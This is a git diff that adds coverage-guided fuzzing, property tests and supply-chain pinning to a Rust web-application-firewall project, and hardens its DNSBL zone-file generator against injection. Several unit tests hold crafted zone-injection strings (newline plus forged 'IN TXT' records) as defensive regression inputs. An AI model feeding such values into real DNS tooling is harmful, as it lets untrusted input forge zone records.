diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 34d1ddb..1091dd7 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -12,8 +12,10 @@ jobs: rust: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v7 - - uses: dtolnay/rust-toolchain@stable + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7 + - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable + with: + toolchain: stable - name: Check formatting run: cargo fmt --check - name: Test diff --git a/.github/workflows/fuzz.yml b/.github/workflows/fuzz.yml new file mode 100644 index 0000000..f766580 --- /dev/null +++ b/.github/workflows/fuzz.yml @@ -0,0 +1,75 @@ +name: Fuzz + +on: + # Bounded smoke fuzzing on every PR that touches fuzzable surfaces or the + # harness. Time budget is capped low to keep CI cost predictable. + pull_request: + paths: + - "src/**" + - "crates/**" + - "fuzz/**" + - ".github/workflows/fuzz.yml" + # Longer nightly run for deeper exploration (optional, off the PR critical path). + schedule: + - cron: "0 3 * * *" + workflow_dispatch: + +permissions: + contents: read + +concurrency: + group: fuzz-${{ github.ref }} + cancel-in-progress: true + +jobs: + fuzz: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + target: + - fuzz_score_request + - fuzz_appdata_json + - fuzz_parse_admin_tokens + - fuzz_dnsbl_zone + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7 + + - name: Install nightly toolchain + uses: dtolnay/rust-toolchain@efcb852328a9f50117170cc43094fb6f09eaf1ae # nightly + with: + toolchain: nightly + + - name: Cache cargo-fuzz build + uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4 + with: + path: | + ~/.cargo/bin/cargo-fuzz + fuzz/target + key: cargo-fuzz-${{ runner.os }}-${{ matrix.target }}-${{ hashFiles('fuzz/Cargo.toml') }} + + - name: Install cargo-fuzz + run: cargo install cargo-fuzz --version 0.13.2 --locked || true + + # PRs: 60s per target. Nightly/manual: 300s per target. + - name: Set fuzz duration + run: | + if [ "${{ github.event_name }}" = "pull_request" ]; then + echo "FUZZ_SECONDS=60" >> "$GITHUB_ENV" + else + echo "FUZZ_SECONDS=300" >> "$GITHUB_ENV" + fi + + - name: Fuzz ${{ matrix.target }} + run: | + cargo fuzz run ${{ matrix.target }} -- \ + -max_total_time="$FUZZ_SECONDS" \ + -rss_limit_mb=2048 + + - name: Upload crash artifacts + if: failure() + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 + with: + name: fuzz-artifacts-${{ matrix.target }} + path: fuzz/artifacts/${{ matrix.target }}/ + if-no-files-found: ignore diff --git a/.github/workflows/scorecard-analysis.yml b/.github/workflows/scorecard-analysis.yml index fb20228..3718871 100644 --- a/.github/workflows/scorecard-analysis.yml +++ b/.github/workflows/scorecard-analysis.yml @@ -9,24 +9,26 @@ on: permissions: contents: read - security-events: write jobs: analysis: name: Scorecard Analysis runs-on: ubuntu-latest + permissions: + contents: read + security-events: write steps: - name: Checkout - uses: actions/checkout@v7 + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7 with: persist-credentials: false - name: Run analysis - uses: ossf/scorecard-action@v2.4.3 + uses: ossf/scorecard-action@4eaacf0543bb3f2c246792bd56e8cdeffafb205a # v2.4.3 with: results_file: results.sarif results_format: sarif publish_results: false - name: Upload SARIF - uses: github/codeql-action/upload-sarif@v4 + uses: github/codeql-action/upload-sarif@99df26d4f13ea111d4ec1a7dddef6063f76b97e9 # v4 with: sarif_file: results.sarif diff --git a/Cargo.lock b/Cargo.lock index 3d4032f..957f567 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -8,6 +8,12 @@ version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + [[package]] name = "axum" version = "0.8.9" @@ -66,6 +72,21 @@ version = "0.22.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" +[[package]] +name = "bit-set" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08807e080ed7f9d5433fa9b275196cfc35414f66a0c79d864dc51a0d825231a3" +dependencies = [ + "bit-vec", +] + +[[package]] +name = "bit-vec" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e764a1d40d510daf35e07be9eb06e75770908c27d411ee6c92109c9840eaaf7" + [[package]] name = "bitflags" version = "2.13.0" @@ -117,12 +138,34 @@ dependencies = [ "syn", ] +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "fastrand" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f1f227452a390804cdb637b74a86990f2a7d7ba4b7d5693aac9b4dd6defd8d6" + [[package]] name = "find-msvc-tools" version = "0.1.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + [[package]] name = "form_urlencoded" version = "1.2.2" @@ -429,6 +472,12 @@ version = "0.2.186" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "68ab91017fe16c622486840e4c83c9a37afeff978bd239b5293d61ece587de66" +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + [[package]] name = "litemap" version = "0.8.2" @@ -476,6 +525,15 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + [[package]] name = "once_cell" version = "1.21.4" @@ -521,6 +579,31 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "proptest" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b45fcc2344c680f5025fe57779faef368840d0bd1f42f216291f0dc4ace4744" +dependencies = [ + "bit-set", + "bit-vec", + "bitflags", + "num-traits", + "rand", + "rand_chacha", + "rand_xorshift", + "regex-syntax", + "rusty-fork", + "tempfile", + "unarray", +] + +[[package]] +name = "quick-error" +version = "1.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0" + [[package]] name = "quinn" version = "0.11.11" @@ -620,6 +703,21 @@ dependencies = [ "getrandom 0.3.4", ] +[[package]] +name = "rand_xorshift" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "513962919efc330f829edb2535844d1b912b0fbe2ca165d613e4e8788bb05a5a" +dependencies = [ + "rand_core", +] + +[[package]] +name = "regex-syntax" +version = "0.8.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" + [[package]] name = "reqwest" version = "0.12.28" @@ -678,6 +776,19 @@ version = "2.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94300abf3f1ae2e2b8ffb7b58043de3d399c73fa6f4b73826402a5c457614dbe" +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.61.2", +] + [[package]] name = "rustls" version = "0.23.41" @@ -719,6 +830,18 @@ version = "1.0.22" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" +[[package]] +name = "rusty-fork" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc6bf79ff24e648f6da1f8d1f011e9cac26491b619e6b9280f2b47f1774e6ee2" +dependencies = [ + "fnv", + "quick-error", + "tempfile", + "wait-timeout", +] + [[package]] name = "ryu" version = "1.0.23" @@ -797,6 +920,16 @@ version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + [[package]] name = "slab" version = "0.4.12" @@ -862,6 +995,19 @@ dependencies = [ "syn", ] +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom 0.3.4", + "once_cell", + "rustix", + "windows-sys 0.61.2", +] + [[package]] name = "thiserror" version = "2.0.18" @@ -917,6 +1063,7 @@ dependencies = [ "libc", "mio", "pin-project-lite", + "signal-hook-registry", "socket2", "tokio-macros", "windows-sys 0.61.2", @@ -1015,6 +1162,12 @@ version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" +[[package]] +name = "unarray" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eaea85b334db583fe3274d12b4cd1880032beab409c0d774be044d4480ab9a94" + [[package]] name = "unicode-ident" version = "1.0.24" @@ -1050,6 +1203,7 @@ name = "waf-ids-ai-soc" version = "0.1.0" dependencies = [ "axum", + "proptest", "reqwest", "serde", "serde_json", @@ -1063,7 +1217,18 @@ name = "waf-ids-core" version = "0.1.0" dependencies = [ "percent-encoding", + "proptest", "serde", + "serde_json", +] + +[[package]] +name = "wait-timeout" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ac3b126d3914f9849036f826e054cbabdc8519970b8998ddaf3b5bd3c65f11" +dependencies = [ + "libc", ] [[package]] diff --git a/Cargo.toml b/Cargo.toml index 70e038f..3e1464c 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -14,8 +14,11 @@ axum = "0.8" reqwest = { version = "0.12", default-features = false, features = ["rustls-tls"] } serde = { version = "1", features = ["derive"] } serde_json = "1" -tokio = { version = "1", features = ["fs", "macros", "net", "rt-multi-thread", "sync"] } +tokio = { version = "1", features = ["fs", "macros", "net", "rt-multi-thread", "signal", "sync"] } waf-ids-core = { path = "crates/waf-ids-core" } [dev-dependencies] tower = { version = "0.5", features = ["util"] } +# Property-based testing (MIT OR Apache-2.0); mirrors the cargo-fuzz target for +# parse_admin_tokens so its invariants stay green in primary CI. +proptest = "1" diff --git a/Dockerfile b/Dockerfile index 76beb2c..f92c557 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,4 @@ -FROM rust:1.88-bookworm AS build +FROM rust:1.88-bookworm@sha256:af306cfa71d987911a781c37b59d7d67d934f49684058f96cf72079c3626bfe0 AS build WORKDIR /app COPY Cargo.toml Cargo.lock ./ @@ -6,10 +6,12 @@ COPY src ./src COPY crates ./crates RUN cargo build --locked --release -FROM debian:bookworm-slim +FROM debian:bookworm-slim@sha256:60eac759739651111db372c07be67863818726f754804b8707c90979bda511df RUN apt-get update \ - && apt-get install -y --no-install-recommends ca-certificates curl \ + && apt-get install -y --no-install-recommends \ + ca-certificates=20230311+deb12u1 \ + curl=7.88.1-10+deb12u14 \ && rm -rf /var/lib/apt/lists/* \ && groupadd --gid 10001 wafids \ && useradd --uid 10001 --gid 10001 --create-home --home-dir /var/lib/waf-ids-ai-soc wafids diff --git a/README.md b/README.md index 20f8bde..82cd80e 100644 --- a/README.md +++ b/README.md @@ -177,3 +177,7 @@ cargo test --locked --workspace cargo clippy --locked --workspace --all-targets -- -D warnings scripts/smoke.sh ``` + +Untrusted-input surfaces (request scorer, state deserializer, admin-token and +DNSBL parsers) are covered by coverage-guided fuzzing plus stable property +tests. See [`docs/fuzzing.md`](docs/fuzzing.md). diff --git a/crates/waf-ids-core/Cargo.toml b/crates/waf-ids-core/Cargo.toml index c21f153..d229947 100644 --- a/crates/waf-ids-core/Cargo.toml +++ b/crates/waf-ids-core/Cargo.toml @@ -8,3 +8,10 @@ license = "MIT" [dependencies] percent-encoding = "2" serde = { version = "1", features = ["derive"] } + +[dev-dependencies] +# Property-based testing (MIT OR Apache-2.0). Runs on stable as part of the +# normal `cargo test` suite; mirrors the coverage-guided cargo-fuzz targets in +# ../../fuzz so the same untrusted-input invariants stay green in primary CI. +proptest = "1" +serde_json = "1" diff --git a/crates/waf-ids-core/src/lib.rs b/crates/waf-ids-core/src/lib.rs index fb8d5f6..28ce81c 100644 --- a/crates/waf-ids-core/src/lib.rs +++ b/crates/waf-ids-core/src/lib.rs @@ -1167,11 +1167,20 @@ pub fn readiness_check(id: &str, passed: bool, evidence: &str) -> ReadinessCheck } pub fn export_dnsbl_zone(origin: &str, entries: &[DnsblEntry]) -> String { - let mut out = format!("$ORIGIN {}.\n$TTL 300\n", origin.trim_end_matches('.')); + let mut out = format!("$ORIGIN {}.\n$TTL 300\n", sanitize_zone_origin(origin)); for entry in entries { if let IpAddr::V4(address) = entry.address { + // The response code is emitted as a bare, unquoted A-record token, so + // it must be a valid IP literal. An arbitrary `code` string (e.g. one + // carrying a newline plus a forged `IN TXT` line) would otherwise break + // out of the zone; reject anything that is not a parseable address and + // re-render the canonical form so no attacker-controlled bytes survive. + let code = match IpAddr::from_str(&entry.code) { + Ok(parsed) => parsed, + Err(_) => continue, + }; let name = reverse_ipv4_for_dnsbl(address.octets()); - out.push_str(&format!("{} IN A {}\n", name, entry.code)); + out.push_str(&format!("{} IN A {}\n", name, code)); out.push_str(&format!( "{} IN TXT \"{}\"\n", name, @@ -1182,18 +1191,181 @@ pub fn export_dnsbl_zone(origin: &str, entries: &[DnsblEntry]) -> String { out } +/// Sanitize a DNS zone origin so operator/threat-feed input can never break out +/// of the generated zone file. A legitimate origin is a domain name, so only +/// letters, digits, `-`, `_`, and `.` are kept; every other byte (newline, +/// quote, space, control char) is dropped. Leading/trailing dots are trimmed +/// because the caller re-appends the root dot. Empty input falls back to the +/// RFC 6761 reserved `.invalid` TLD, which is guaranteed non-resolvable. +fn sanitize_zone_origin(origin: &str) -> String { + let filtered: String = origin + .trim() + .chars() + .filter(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.')) + .collect(); + let trimmed = filtered.trim_matches('.'); + if trimmed.is_empty() { + "dnsbl.invalid".to_string() + } else { + trimmed.to_string() + } +} + pub fn reverse_ipv4_for_dnsbl(octets: [u8; 4]) -> String { format!("{}.{}.{}.{}", octets[3], octets[2], octets[1], octets[0]) } fn escape_txt(value: &str) -> String { - value.replace('\\', "\\\\").replace('"', "\\\"") + let mut out = String::with_capacity(value.len()); + for ch in value.chars() { + match ch { + '\\' => out.push_str("\\\\"), + '"' => out.push_str("\\\""), + // Control characters (notably raw newlines) would otherwise terminate + // the single-line TXT record and let a crafted reason/source inject + // subsequent zone lines. Emit them as BIND decimal escapes (`\DDD`) + // so the payload stays on one fully-quoted line. + c if c.is_control() => { + let mut buf = [0u8; 4]; + for &b in c.encode_utf8(&mut buf).as_bytes() { + out.push_str(&format!("\\{b:03}")); + } + } + c => out.push(c), + } + } + out } #[cfg(test)] mod tests { use super::*; + /// Assert every double quote inside a TXT payload is backslash-escaped, i.e. + /// preceded by an odd run of backslashes. Mirrors the fuzz/proptest invariant + /// so regressions in zone escaping fail as a plain unit test too. + fn assert_txt_quotes_escaped(zone: &str) { + for line in zone.lines().filter(|l| l.contains(" IN TXT ")) { + let start = line.find('"').expect("TXT record has an opening quote"); + let end = line.rfind('"').expect("TXT record has a closing quote"); + let payload = &line.as_bytes()[start + 1..end]; + for (idx, &b) in payload.iter().enumerate() { + if b == b'"' { + let mut backslashes = 0usize; + let mut j = idx; + while j > 0 && payload[j - 1] == b'\\' { + backslashes += 1; + j -= 1; + } + assert!( + backslashes % 2 == 1, + "unescaped quote in TXT payload: {line:?}" + ); + } + } + } + } + + #[test] + fn export_dnsbl_zone_resists_origin_zone_injection() { + // Reproduces the fuzz crash: a crafted origin carrying a newline plus a + // forged `IN TXT` line with bare double quotes must not break out of the + // generated zone. + let zone = export_dnsbl_zone( + "dn\nner\"\"\"\"\"\"\"\" IN TXT \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\";eed", + &[DnsblEntry { + address: "192.0.2.10".parse().unwrap(), + code: "127.0.0.2".to_string(), + reason: "scanner".to_string(), + source: "unit".to_string(), + ttl_seconds: 300, + }], + ); + assert!(zone.starts_with("$ORIGIN ")); + // The origin is sanitized down to DNS-safe characters on a single line. + assert_eq!(zone.lines().next().unwrap(), "$ORIGIN dnnerINTXTeed."); + assert_txt_quotes_escaped(&zone); + } + + #[test] + fn export_dnsbl_zone_escapes_quotes_and_backslashes_in_reason() { + // Reason carrying both a backslash and a double quote must be escaped so + // the quote stays inside the payload (`\"`) and the backslash is doubled + // (`\\`); this also exercises the escaped-quote path of the checker. + let zone = export_dnsbl_zone( + "dnsbl.example", + &[DnsblEntry { + address: "192.0.2.10".parse().unwrap(), + code: "127.0.0.2".to_string(), + reason: "back\\slash and \"quote\"".to_string(), + source: "unit".to_string(), + ttl_seconds: 300, + }], + ); + assert!(zone.contains("10.2.0.192 IN TXT \"back\\\\slash and \\\"quote\\\" source=unit\"")); + assert_txt_quotes_escaped(&zone); + } + + #[test] + fn export_dnsbl_zone_rejects_non_ip_code_injection() { + // A `code` that is not a valid IP literal would become a bare A-record + // token; a newline-bearing value must be dropped, never rendered. + let zone = export_dnsbl_zone( + "dnsbl.example", + &[ + DnsblEntry { + address: "192.0.2.10".parse().unwrap(), + code: "127.0.0.2\n10.2.0.192 IN TXT \"pwned".to_string(), + reason: "scanner".to_string(), + source: "unit".to_string(), + ttl_seconds: 300, + }, + DnsblEntry { + address: "192.0.2.20".parse().unwrap(), + code: "127.0.0.9".to_string(), + reason: "ok".to_string(), + source: "unit".to_string(), + ttl_seconds: 300, + }, + ], + ); + // The malformed-code entry is skipped entirely; the valid one renders. + assert!(!zone.contains("pwned")); + assert!(zone.contains("20.2.0.192 IN A 127.0.0.9")); + assert_txt_quotes_escaped(&zone); + } + + #[test] + fn export_dnsbl_zone_escapes_control_chars_in_reason() { + // A raw newline in reason/source must be neutralized so the TXT record + // stays on one line and cannot inject subsequent zone entries. + let zone = export_dnsbl_zone( + "dnsbl.example", + &[DnsblEntry { + address: "192.0.2.10".parse().unwrap(), + code: "127.0.0.2".to_string(), + reason: "line1\n10.2.0.192 IN TXT \"break".to_string(), + source: "unit".to_string(), + ttl_seconds: 300, + }], + ); + // No raw newline survives inside the TXT payload: the whole record, + // including the injected `IN TXT` text, stays on a single line. + assert_eq!(zone.lines().filter(|l| l.contains(" IN TXT ")).count(), 1); + assert!(zone.contains("\\010")); + assert_txt_quotes_escaped(&zone); + } + + #[test] + fn sanitize_zone_origin_falls_back_when_empty() { + assert_eq!(sanitize_zone_origin("\"\n\t \""), "dnsbl.invalid"); + assert_eq!(sanitize_zone_origin("dnsbl.example."), "dnsbl.example"); + assert_eq!( + sanitize_zone_origin("dnsbl_feed.example-1"), + "dnsbl_feed.example-1" + ); + } + #[test] fn records_audit_logs_with_monotonic_ids() { let mut data = AppData::seeded(); diff --git a/crates/waf-ids-core/tests/fuzz_invariants.rs b/crates/waf-ids-core/tests/fuzz_invariants.rs new file mode 100644 index 0000000..9bba786 --- /dev/null +++ b/crates/waf-ids-core/tests/fuzz_invariants.rs @@ -0,0 +1,119 @@ +//! Property-based invariant tests for the untrusted-input surfaces. +//! +//! These mirror the coverage-guided cargo-fuzz targets in `../../fuzz` but run +//! on stable as part of the normal `cargo test` suite, so the same "no panic / +//! invariants hold on arbitrary input" guarantees are enforced in primary CI +//! without a nightly toolchain. The fuzz targets explore far deeper; these keep +//! a fast, always-green signal. + +use proptest::prelude::*; +use std::net::{IpAddr, Ipv4Addr}; +use waf_ids_core::{ + AppData, DnsblEntry, Severity, ThreatIndicator, export_dnsbl_zone, score_request, + validate_dnsbl, +}; + +fn severity_strategy() -> impl Strategy { + prop_oneof![ + Just(Severity::Low), + Just(Severity::Medium), + Just(Severity::High), + Just(Severity::Critical), + ] +} + +fn threat_strategy() -> impl Strategy { + (".*", ".*", severity_strategy(), ".*", any::()).prop_map( + |(value, indicator_type, severity, source, ttl_seconds)| ThreatIndicator { + value, + indicator_type, + severity, + source, + ttl_seconds, + }, + ) +} + +fn dnsbl_strategy() -> impl Strategy { + (any::(), ".*", ".*", ".*", any::()).prop_map( + |(addr, code, reason, source, ttl_seconds)| DnsblEntry { + address: IpAddr::V4(Ipv4Addr::from(addr)), + code, + reason, + source, + ttl_seconds, + }, + ) +} + +proptest! { + // The core WAF scorer must never panic on arbitrary request bytes, always + // return a non-empty reason, and score deterministically. + #[test] + fn score_request_never_panics_and_is_deterministic( + path in ".*", + query in proptest::option::of(".*"), + body in ".*", + client_ip in proptest::option::of(any::()), + threats in proptest::collection::vec(threat_strategy(), 0..16), + dnsbl in proptest::collection::vec(dnsbl_strategy(), 0..16), + ) { + let ip = client_ip.map(|v| IpAddr::V4(Ipv4Addr::from(v))); + let scored = score_request(&path, query.as_deref(), &body, ip, &threats, &dnsbl); + prop_assert!(!scored.reason.is_empty()); + + let again = score_request(&path, query.as_deref(), &body, ip, &threats, &dnsbl); + prop_assert_eq!(scored.score, again.score); + prop_assert_eq!(scored.reason, again.reason); + } + + // Arbitrary state-file JSON must only ever parse or error, never panic; any + // value that parses must round-trip through serde_json. + #[test] + fn appdata_json_never_panics_and_round_trips(text in ".*") { + if let Ok(parsed) = serde_json::from_str::(&text) { + let reserialized = serde_json::to_string(&parsed).expect("AppData re-serializes"); + let reparsed: AppData = + serde_json::from_str(&reserialized).expect("re-serialized AppData parses"); + prop_assert_eq!(parsed, reparsed); + } + } + + // DNSBL classification and zone generation must never panic, and every TXT + // payload must be fully escaped (no unescaped double quote survives). + #[test] + fn dnsbl_zone_generation_escapes_and_never_panics( + origin in ".*", + entries in proptest::collection::vec(dnsbl_strategy(), 0..32), + ) { + for entry in &entries { + let _ = validate_dnsbl(entry); + } + let zone = export_dnsbl_zone(&origin, &entries); + prop_assert!(zone.starts_with("$ORIGIN ")); + + for line in zone.lines() { + if !line.contains(" IN TXT ") { + continue; + } + let (Some(start), Some(end)) = (line.find('"'), line.rfind('"')) else { + continue; + }; + if end <= start { + continue; + } + let payload = &line.as_bytes()[start + 1..end]; + for (idx, &b) in payload.iter().enumerate() { + if b == b'"' { + let mut backslashes = 0usize; + let mut j = idx; + while j > 0 && payload[j - 1] == b'\\' { + backslashes += 1; + j -= 1; + } + prop_assert!(backslashes % 2 == 1, "unescaped quote in TXT payload"); + } + } + } + } +} diff --git a/docs/fuzzing.md b/docs/fuzzing.md new file mode 100644 index 0000000..ab158af --- /dev/null +++ b/docs/fuzzing.md @@ -0,0 +1,67 @@ +# Fuzzing + +The gateway parses attacker-controlled bytes on every request and untrusted +state/config on startup, so the highest-value surfaces are exercised with +**coverage-guided fuzzing** (cargo-fuzz / libFuzzer) plus a fast +**property-test** mirror that runs in the normal test suite. + +## Target selection + +Targets were chosen by mapping the untrusted-input surfaces with CodeGraph +(`codegraph explore "score_request anomaly_signal normalize decode ..."` and +`"parse_admin_tokens load_or_seed_state validate_dnsbl deserialize ..."`), which +surfaced the request scorer, the persisted-state deserializer, the admin-token +config parser, and the DNSBL zone generator as the reachable, no-covering-test +entry points for arbitrary input. + +| Fuzz target | Surface (function) | Invariants | +| --------------------------- | ------------------------------------------- | ---------- | +| `fuzz_score_request` | `waf_ids_core::score_request` | no panic on arbitrary path/query/body/IP; `reason` never empty; scoring deterministic | +| `fuzz_appdata_json` | `serde_json::from_str::` (state file) | no panic; parsed values round-trip through serde | +| `fuzz_parse_admin_tokens` | `waf_ids_ai_soc::parse_admin_tokens` | no panic; no empty token key; no empty actor value | +| `fuzz_dnsbl_zone` | `waf_ids_core::export_dnsbl_zone` / `validate_dnsbl` | no panic; every TXT payload fully escaped (no zone break-out) | + +## Layout + +``` +fuzz/ # separate cargo workspace (isolated from the root + Cargo.toml # workspace so `cargo test` at the root is unaffected) + fuzz_targets/*.rs # one libFuzzer target per surface + corpus//* # committed seed corpus (attack payloads, edge cases) +``` + +The property-test mirror lives in `crates/waf-ids-core/tests/fuzz_invariants.rs` +and `tests/fuzz_invariants.rs` (proptest); it enforces the same invariants on +stable as part of `cargo test --workspace`. + +## Running locally + +Coverage-guided fuzzing needs a nightly toolchain: + +```sh +rustup toolchain install nightly +cargo install cargo-fuzz +cargo +nightly fuzz run fuzz_score_request -- -max_total_time=60 +``` + +The stable property-test mirror needs no extra setup: + +```sh +cargo test --workspace +``` + +## CI + +`.github/workflows/fuzz.yml` runs each target for a bounded budget: + +- **Pull requests:** 60s per target (smoke fuzzing; keeps CI cost predictable). +- **Nightly cron / manual dispatch:** 300s per target (deeper exploration). + +Crash-reproducing inputs are uploaded as build artifacts on failure. All fuzzing +dependencies are permissive (cargo-fuzz, libfuzzer-sys, arbitrary, proptest are +each MIT OR Apache-2.0). + +## Further reading + +- V.J.M. Manès et al., *The Art, Science, and Engineering of Fuzzing: A Survey* + — [`papers/fuzzing-art-science-engineering-survey-arxiv-1812.00140.pdf`](papers/fuzzing-art-science-engineering-survey-arxiv-1812.00140.pdf). diff --git a/docs/papers/fuzzing-art-science-engineering-survey-arxiv-1812.00140.pdf b/docs/papers/fuzzing-art-science-engineering-survey-arxiv-1812.00140.pdf new file mode 100644 index 0000000..b0cd208 Binary files /dev/null and b/docs/papers/fuzzing-art-science-engineering-survey-arxiv-1812.00140.pdf differ diff --git a/fuzz/.gitignore b/fuzz/.gitignore new file mode 100644 index 0000000..cdfc51f --- /dev/null +++ b/fuzz/.gitignore @@ -0,0 +1,4 @@ +/target +/Cargo.lock +/artifacts +/coverage diff --git a/fuzz/Cargo.toml b/fuzz/Cargo.toml new file mode 100644 index 0000000..efa8fb3 --- /dev/null +++ b/fuzz/Cargo.toml @@ -0,0 +1,58 @@ +# Coverage-guided fuzzing harness for waf-ids-ai-soc. +# +# This is a SEPARATE workspace (note the empty `[workspace]` table below) so it +# is excluded from the root workspace. `cargo build`/`cargo test --workspace` +# at the repo root never touch these targets, keeping the primary CI unaffected. +# Fuzzing requires a nightly toolchain and `cargo install cargo-fuzz`. +# +# All dependencies are permissive (MIT/Apache-2.0): +# - cargo-fuzz MIT OR Apache-2.0 +# - libfuzzer-sys MIT OR Apache-2.0 OR NCSA +# - arbitrary MIT OR Apache-2.0 +[package] +name = "waf-ids-fuzz" +version = "0.0.0" +publish = false +edition = "2021" + +[package.metadata] +cargo-fuzz = true + +[dependencies] +libfuzzer-sys = "0.4" +arbitrary = { version = "1", features = ["derive"] } +serde_json = "1" +waf-ids-core = { path = "../crates/waf-ids-core" } +waf-ids-ai-soc = { path = ".." } + +[[bin]] +name = "fuzz_score_request" +path = "fuzz_targets/fuzz_score_request.rs" +test = false +doc = false +bench = false + +[[bin]] +name = "fuzz_appdata_json" +path = "fuzz_targets/fuzz_appdata_json.rs" +test = false +doc = false +bench = false + +[[bin]] +name = "fuzz_parse_admin_tokens" +path = "fuzz_targets/fuzz_parse_admin_tokens.rs" +test = false +doc = false +bench = false + +[[bin]] +name = "fuzz_dnsbl_zone" +path = "fuzz_targets/fuzz_dnsbl_zone.rs" +test = false +doc = false +bench = false + +# Empty table => this crate is its own workspace root, isolated from the +# repository's primary workspace. Do not remove. +[workspace] diff --git a/fuzz/corpus/fuzz_appdata_json/garbage b/fuzz/corpus/fuzz_appdata_json/garbage new file mode 100644 index 0000000..e7c3e7f --- /dev/null +++ b/fuzz/corpus/fuzz_appdata_json/garbage @@ -0,0 +1 @@ +not json at all \ No newline at end of file diff --git a/fuzz/corpus/fuzz_appdata_json/minimal b/fuzz/corpus/fuzz_appdata_json/minimal new file mode 100644 index 0000000..7517db7 --- /dev/null +++ b/fuzz/corpus/fuzz_appdata_json/minimal @@ -0,0 +1 @@ +{"routes":[],"threats":[],"dnsbl":[],"events":[],"next_event_id":1} \ No newline at end of file diff --git a/fuzz/corpus/fuzz_appdata_json/truncated b/fuzz/corpus/fuzz_appdata_json/truncated new file mode 100644 index 0000000..ec15f12 --- /dev/null +++ b/fuzz/corpus/fuzz_appdata_json/truncated @@ -0,0 +1 @@ +{"routes":[],"threats":[],"dnsbl":[],"events":[],"next_event_id": \ No newline at end of file diff --git a/fuzz/corpus/fuzz_appdata_json/with-route b/fuzz/corpus/fuzz_appdata_json/with-route new file mode 100644 index 0000000..70a5529 --- /dev/null +++ b/fuzz/corpus/fuzz_appdata_json/with-route @@ -0,0 +1 @@ 